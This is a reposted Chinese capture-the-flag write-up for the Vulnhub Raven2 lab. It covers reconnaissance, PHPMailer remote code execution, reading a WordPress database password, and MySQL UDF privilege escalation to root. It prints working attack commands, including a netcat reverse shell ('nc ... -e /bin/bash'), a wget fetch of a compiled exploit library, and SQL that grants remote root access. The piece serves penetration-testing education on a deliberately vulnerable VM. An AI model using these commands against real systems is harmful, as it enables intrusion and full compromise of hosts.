Vulnhub - Raven2

news2024/9/20 7:59:09

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

Raven2 靶机下载地址:https://www.vulnhub.com/entry/raven-2,269/

0x01 信息收集

Nmap扫描目标主机,发现开放22、80、111、50511端口,分别运行ssh、http、rpc服务。

┌──(root㉿ch4ser)-[~]
└─# nmap -p- -sV -sC -A 192.168.196.142
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-18 06:07 CST
Nmap scan report for 192.168.196.142
Host is up (0.00040s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46327/tcp6  status
|   100024  1          50447/udp   status
|   100024  1          50511/tcp   status
|_  100024  1          55930/udp6  status
50511/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:6D:02:A6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问80端口网站页面如下                                                        

尝试DirSearch扫描80端口网站目录,发现多个敏感目录及页面信息

访问/vendor页面如下

通过README.md得知该站点部署有PHPMailer,PHPMailer是一个用于发送电子邮件的PHP库,许多知名的 CMS 例如 Wordpress 等都是使用这个组件来发送邮件。

通过VERSION得知PHPMailer的版本为5.2.16

通过PATH得知网站根目录为/var/www/html

通过SECURITY.md得知PHPMailer 5.2.18之前的版本存在RCE(CVE-2016-18833)

网上搜索相关资料得知该漏洞成因为PHPMailer未对用户输入的邮件地址、内容进行过滤,将相关变量直接拼接到命令执行函数所造成

 前面DirSearch扫到的/contact.php就是该站点发送邮件的地址

除了以上信息,DirSearch还扫到/wordpress,访问发现是一个WordPress站点。

0x02 权限获取 - PHPMailer

尝试使用wpscan扫描WordPress站点,发现使用插件Akismet(反垃圾评论插件),版本为3.3.2

searchsploit搜索Akismet相关利用,发现并不适用于当前版本,在网上也没有找到对应版本的漏洞利用文章

┌──(root㉿ch4ser)-[~]
└─# wpscan --url http://192.168.196.142/wordpress/ --plugins-detection aggressive

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://192.168.196.142/wordpress/wp-content/plugins/akismet/
 | Last Updated: 2024-01-17T22:32:00.000Z
 | Readme: http://192.168.196.142/wordpress/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.3.1
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.196.142/wordpress/wp-content/plugins/akismet/, status: 200
 |
 | Version: 3.3.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.196.142/wordpress/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.196.142/wordpress/wp-content/plugins/akismet/readme.txt

──(root㉿ch4ser)-[~]
└─# searchsploit akismet                                                         
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities                                                                                                         | php/webapps/37902.php
WordPress Plugin Akismet 2.1.3 - Cross-Site Scripting                                                                                                                            | php/webapps/30036.html
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------

尝试DirSearch重新扫描该WordPress站点,发现多个敏感目录及文件,但是大多都没有权限查看,如网站配置文件/wordpress/wp-config.php 

考虑换个思路,从PHPMailer下手。searchsploit搜索PHPMailer相关利用,选择使用40974.py(因为这个老哥写的用法要清晰些)

┌──(root㉿ch4ser)-[~]
└─# searchsploit PHPMailer
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PHPMailer 1.7 - 'Data()' Remote Denial of Service                                                                                                                                | php/dos/25752.txt
PHPMailer < 5.2.18 - Remote Code Execution                                                                                                                                       | php/webapps/40968.sh
PHPMailer < 5.2.18 - Remote Code Execution                                                                                                                                       | php/webapps/40970.php
PHPMailer < 5.2.18 - Remote Code Execution                                                                                                                                       | php/webapps/40974.py
PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)                                                                                                                    | multiple/webapps/41688.rb
PHPMailer < 5.2.20 - Remote Code Execution                                                                                                                                       | php/webapps/40969.py
PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Execution                                                   | php/webapps/40986.py
PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution                                                                                                                         | php/webapps/42221.py
PHPMailer < 5.2.21 - Local File Disclosure                                                                                                                                       | php/webapps/43056.py
WordPress Plugin PHPMailer 4.6 - Host Header Command Injection (Metasploit)                                                                                                      | php/remote/42024.rb
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# find / -name 40974.py
/root/40974.py
/usr/share/exploitdb/exploits/php/webapps/40974.py
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./ 

根据已知信息,修改站点发送邮件的地址;修改反弹shell的IP和port;修改网站路径、后门地址

具体如下:

执行exp后有如下显示则表示后门已成功写入 

Kali开启nc监听4444端口,访问/shell.php,成功收到会话,权限为www-data

进入wordpress目录,查看之前的网站配置文件wp-config.php,发现MySQL数据库root账户密码

┌──(root㉿ch4ser)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
192.168.196.142: inverse host lookup failed: Unknown host
connect to [192.168.196.128] from (UNKNOWN) [192.168.196.142] 51557
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Raven:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/var/www/html$ ls
Security - Doc	contact.zip    fonts	   js		 shell.php  wordpress
about.html	css	       img	   scss		 team.html
contact.php	elements.html  index.html  service.html  vendor
www-data@Raven:/var/www/html$ cd wordpress; cat wp-config.php
............
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

0x03 权限提升 - UDF

由于拿到了MySQL的root账户密码,所以尝试进行UDF提权,首先需要连上数据库,探测一下当前环境是否符合UDF提权条件。

得知当前MySQL版本为5.5.6>5.2,secure_file_priv为空代表可以写入,插件路径为/usr/lib/mysql/plugin/,综上所述,符合UDF提权条件。

www-data@Raven:/var/www/html/wordpress$ mysql -uroot -pR@v3nSecurity

mysql> select version();
select version();
+-----------------+
| version()       |
+-----------------+
| 5.5.60-0+deb8u1 |
+-----------------+
1 row in set (0.00 sec)

mysql> show variables like '%secure%';
show variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

mysql> show variables like '%plugin%';
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

UDF提权一般分为手工和工具梭哈两种,如果选择使用MDUT之类的工具梭哈,那么需要解决MySQL默认禁止root外联的问题,可以执行以下SQL语句解决:

GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;

这里我演示手工提权,searchsploit搜索udf提权exp,gcc编译为udf.so(类似windows的dll动态链接库文件),将其放到Kali的网站根目录下,以便目标主机wget下载。

┌──(root㉿ch4ser)-[~]
└─# searchsploit mysql udf
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)                                                                                                           | linux/local/1181.c
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)                                                                                                          | linux/local/1518.c
MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution                                                                                                                | windows/remote/3274.txt
MySQL 4/5/6 - UDF for Command Execution                                                                                                                                          | linux/local/7856.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# find / -name 1518.c  
/root/1518.c
/usr/share/exploitdb/exploits/linux/local/1518.c
                                                                                                                                                                                                                                                                                                                                                                                                                                      
┌──(root㉿ch4ser)-[~]
└─# cp /usr/share/exploitdb/exploits/linux/local/1518.c ./  
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# mv udf.so /var/www/html/

目标主机会话这边切换到/tmp目录再wget下载udf.so

www-data@Raven:/var/www/html$ cd /tmp
www-data@Raven:/tmp$ wget 192.168.196.128/udf.so
www-data@Raven:/tmp$ ls
udf.so

来到mysql数据库,创建ch4ser表

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table ch4ser(line blob);
create table ch4ser(line blob);
Query OK, 0 rows affected (0.00 sec)

ch4ser表中插入二进制的/tmp/udf.so,其中line为任意列名,blob为二进制大对象格式

mysql> insert into ch4ser values(load_file('/tmp/udf.so'));
insert into ch4ser values(load_file('/tmp/udf.so'));
Query OK, 1 row affected (0.00 sec)

导出/tmp/udf.so到/usr/lib/mysql/plugin/目录下

为什么不直接将udf.so直接下载到插件目录/usr/lib/mysql/plugin/是因为当前权限是www-data,大概率是不够的,这里是通过MySQL的root用户权限将/tmp/udf.so导出到了/usr/lib/mysql/plugin/目录

mysql> select * from ch4ser into dumpfile '/usr/lib/mysql/plugin/udf.so';
select * from ch4ser into dumpfile '/usr/lib/mysql/plugin/udf.so';
Query OK, 1 row affected (0.00 sec)

创建do_system自定义函数(函数名任意),执行bash反弹命令,Kali这边nc监听6666端口。

mysql> create function do_system returns integer soname 'udf.so';
create function do_system returns integer soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select do_system('nc 192.168.196.128 6666 -e /bin/bash');

成功收到会话,拿到root权限和flag

┌──(root㉿ch4ser)-[~]
└─# nc -lvvp 6666                      
listening on [any] 6666 ...
192.168.196.142: inverse host lookup failed: Unknown host
connect to [192.168.196.128] from (UNKNOWN) [192.168.196.142] 59541
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
flag4.txt
cat flag4.txt
  ___                   ___ ___ 
 | _ \__ ___ _____ _ _ |_ _|_ _|
 |   / _` \ V / -_) ' \ | | | | 
 |_|_\__,_|\_/\___|_||_|___|___|
                           
flag4{df2bc5e951d91581467bb9a2a8ff4425}

CONGRATULATIONS on successfully rooting RavenII

I hope you enjoyed this second interation of the Raven VM

Hit me up on Twitter and let me know what you thought: 

@mccannwj / wjmccann.github.io

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1528135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DC-DC 变换集成电路芯片MC34063A,内含温度补偿的参考电压源(1.25V)、比较器、能有效限制电流及控制工作周期的振荡器,驱动器及大电流输出开关管等

MC34063A 为一单片 DC-DC 变换集成电路&#xff0c;内含温度补偿的参考电压源&#xff08;1.25V&#xff09;、比较器、能有效限制电流及控制工作周期的振荡器&#xff0c;驱动器及大电流输出开关管等。外配少量元件&#xff0c;就能组成升压、降压及电压反转型 DC-DC 变换器。…

三菱FX3U/FX5U的采集方式有哪些?如何快速采集?

在工业自动化领域&#xff0c;PLC&#xff08;可编程逻辑控制器&#xff09;扮演着至关重要的角色。三菱FX3U和FX5U作为三菱电机公司推出的两款经典PLC产品&#xff0c;广泛应用于各种工业自动化控制系统中。为了更好地实现对这些PLC设备的数据采集与远程控制&#xff0c;我们引…

危险废物处理不容忽视,环保企业责任在肩|中联环保圈

铝熔炼企业产生的大量铝灰渣&#xff0c;属于危险废物&#xff0c;其处理问题引起了广泛关注。在江西省抚州市&#xff0c;生态环境局副局长祝志辉强调&#xff1a;“铝灰渣的处理必须委托有资质的第三方进行。”他进一步解释说&#xff0c;铝灰的主要成分为金属铝和铝氧化物&a…

软考真题详解-系统架构设计师-计算机基础知识(1)

题目1&#xff1a;计算机系统中硬件层之上的软件通常按照三层来划分&#xff0c;如下图所示&#xff0c;图中①②③分别表示&#xff08;1&#xff09;。 A.操作系统、应用软件和其他系统软件 B.操作系统、其他系统软件和应用软件 C.其他系统软件、操作系统和应用软件 D.应…

递推算法C++

所谓递推&#xff0c;是指从已知的初始条件出发&#xff0c;依据某种递推关系&#xff0c;逐次推出所要求的各中间结果及最后结果。其中初始条件或是问题本身已经给定&#xff0c;或是通过对问题的分析与化简后确定。从已知条件出发逐步推到问题结果&#xff0c;此种方法叫顺推…

第一阶段回顾

一、IP、网络等初步认知 L1~L3&#xff08;物理层到网络层&#xff09;以及端到端如何走&#xff1f;&#xff01; 1.1 OSI七层参考模型 方向 方向分为上下和左右 上下流向&#xff08;南北&#xff09;&#xff1a; 左右流向&#xff08;南北流向&#xff09;&#xff1a; 注意…

堆叠与集群

8.1堆叠与集群概述 随着企业的发展&#xff0c;企业网络的规模越来越大&#xff0c;这对企业网络提出了更高的要求&#xff1a;更高的可靠性、更低的故障恢复时间、设备更加易于管理等。传统的园区网高可靠性技术出现故障时切换时间很难做到毫秒级别、实现可靠性的方案通常为一…

高架学习笔记之信息系统分类概览

目录 零、前言 一、业务处理系统(TPS) 概念 功能 特点 二、管理信息系统(MIS) 概念 功能 组成 三、决策支持系统(DSS) 概念 功能 特点 组成 1. 数据仓库 2. 数据挖掘工具 3. 决策模型 4. 可视化界面 四、专家系统(ES) 概念 特点 组成 求解过程 专家系统…

开箱即用之 windows部署jdk、设置nginx、jar自启

jdk安装 官网下载对应的安装包&#xff0c;解压之后放在本地指定的文件夹下 传送门https://www.oracle.com/java/technologies/downloads/#jdk21-windows 我比较喜欢下载zip方式的&#xff0c;解压之后直接能用&#xff0c;不需要安装了 配置环境 JAVA_HOME 添加path路径 …

蓝桥杯-Sticks-DFS搜索

题目 样例输出是 6 5 题目中给错了&#xff0c;不知道什么时候会改。 思路 --剪枝&#xff0c;否则时间复杂度和空间复杂度过大&#xff0c;会超时。 --注意有多组测试样例时&#xff0c;需要将bool数组重新赋值为false。 --函数类型不是void&#xff0c;return语句不能省…

倍思、南卡、Cleer开放式耳机好用吗?深度测评行业精品!

​作为一名资深数码评测博主&#xff0c;我拥有五年的行业经验&#xff0c;期间深入体验了众多蓝牙耳机&#xff0c;涵盖了从新兴小众品牌到知名大厂的各种产品。我经常收到不同品牌的邀请&#xff0c;希望我能为他们的产品提供评测。在我的社交媒体私信中&#xff0c;也经常有…

【LeetCode】升级打怪之路 Day 24:回溯算法的解题框架

今日题目&#xff1a; 46. 全排列51. N 皇后78. 子集 目录 LC 46. 全排列LC 51. N 皇后LC 78. 子集 【classic】1&#xff09;思路一2&#xff09;思路二 今天学习了回溯算法的解题框架&#xff1a;回溯算法解题套路框架 | labuladong 回溯算法的整体框架都是&#xff1a; re…

在16G的GPU上微调Mixtral-8x7B

Mixtral-8x7B是最好的开源llm之一。但是消费级硬件上对其进行微调也是非常具有挑战性的。因为模型需要96.8 GB内存。而微调则需要更多的内存来存储状态和训练数据。比如说80gb RAM的H100 GPU是不够的。 这时我们就想到了QLoRA&#xff0c;它将模型大小除以4&#xff0c;同时通…

电商项目高级篇-04 nginx搭建域名访问环境

电商项目高级篇-04 nginx搭建域名访问环境 1、host文件配置2、docker命令nginx自动启动3、gulimall.com nginx反向代理到localhost:12000 1、host文件配置 SwitchHosts工具使用 添加链接描述 或者直接修改host文件 C:\Windows\System32\drivers\etc 将服务器地址映射到host文…

[C语言]指针详解一、数组指针、二维数组传参、函数指针

一、数组指针 对一个数组&#xff0c;如果我们想要让一个指针指向这个数组&#xff0c;我们应该如何定义呢?我们知道一个数组定义本来就是一个指针&#xff0c;那为何要多定义一个数组指针呢?我们来看看下面这个代码就理解了 #include <stdio.h> int main() {int arr…

android adb 实时画面 和操作

1. 下载 scrcpy 建议 windows10 用户 点击链接下载 不然可能会提示缺少部分 dll https://github.com/Genymobile/scrcpy/releases/download/v2.3.1/scrcpy-win32-v2.3.1.ziphttps://github.com/Genymobile/scrcpy/releases/download/v2.3.1/scrcpy-win32-v2.3.1.zip windo…

解决Vue发布后新旧包切换点击路由报错问题

错误截图 解决方案&#xff1a; 1.修改vue.config.js output: {// filename: js/[name].[chunkhash].${timeUpdate}.js,// chunkFilename: js/[id].[chunkhash].${timeUpdate}.jsfilename: [name].[contenthash].js,chunkFilename: [name].[contenthash].chunk.js}2.路由中添…

【算法刷题】Day32

文章目录 1. 单词拆分题干&#xff1a;算法原理&#xff1a;1. 状态表示&#xff1a;2. 状态转移方程3. 初始化4. 填表顺序5. 返回值 代码&#xff1a; 2. 环绕字符串中唯一的子字符串题干&#xff1a;算法原理&#xff1a;1. 状态表示&#xff1a;2. 状态转移方程3. 初始化4. …

突破数据处理极限:揭秘亚信安慧AntDB

亚信安慧AntDB数据库在运营商自主可控替换项目中的成功应用&#xff0c;具有极其重要的意义。该数据库的落地&#xff0c;不仅为这一项目注入了强大的支持力量&#xff0c;还在更大程度上提升了整体的运营效能。作为一种高效可靠的数据库解决方案&#xff0c;AntDB引入了先进的…

苍穹外卖-day13:vue基础回顾+进阶

vue基础回顾进阶 课程内容 VUE 基础回顾路由 Vue-Router状态管理 vuexTypeScript 1. VUE 基础回顾 1.1 基于脚手架创建前端工程 1.1.1 环境要求 要想基于脚手架创建前端工程&#xff0c;需要具备如下环境要求&#xff1a; ​ node.js 前端项目的运行环境 学习web阶段已安…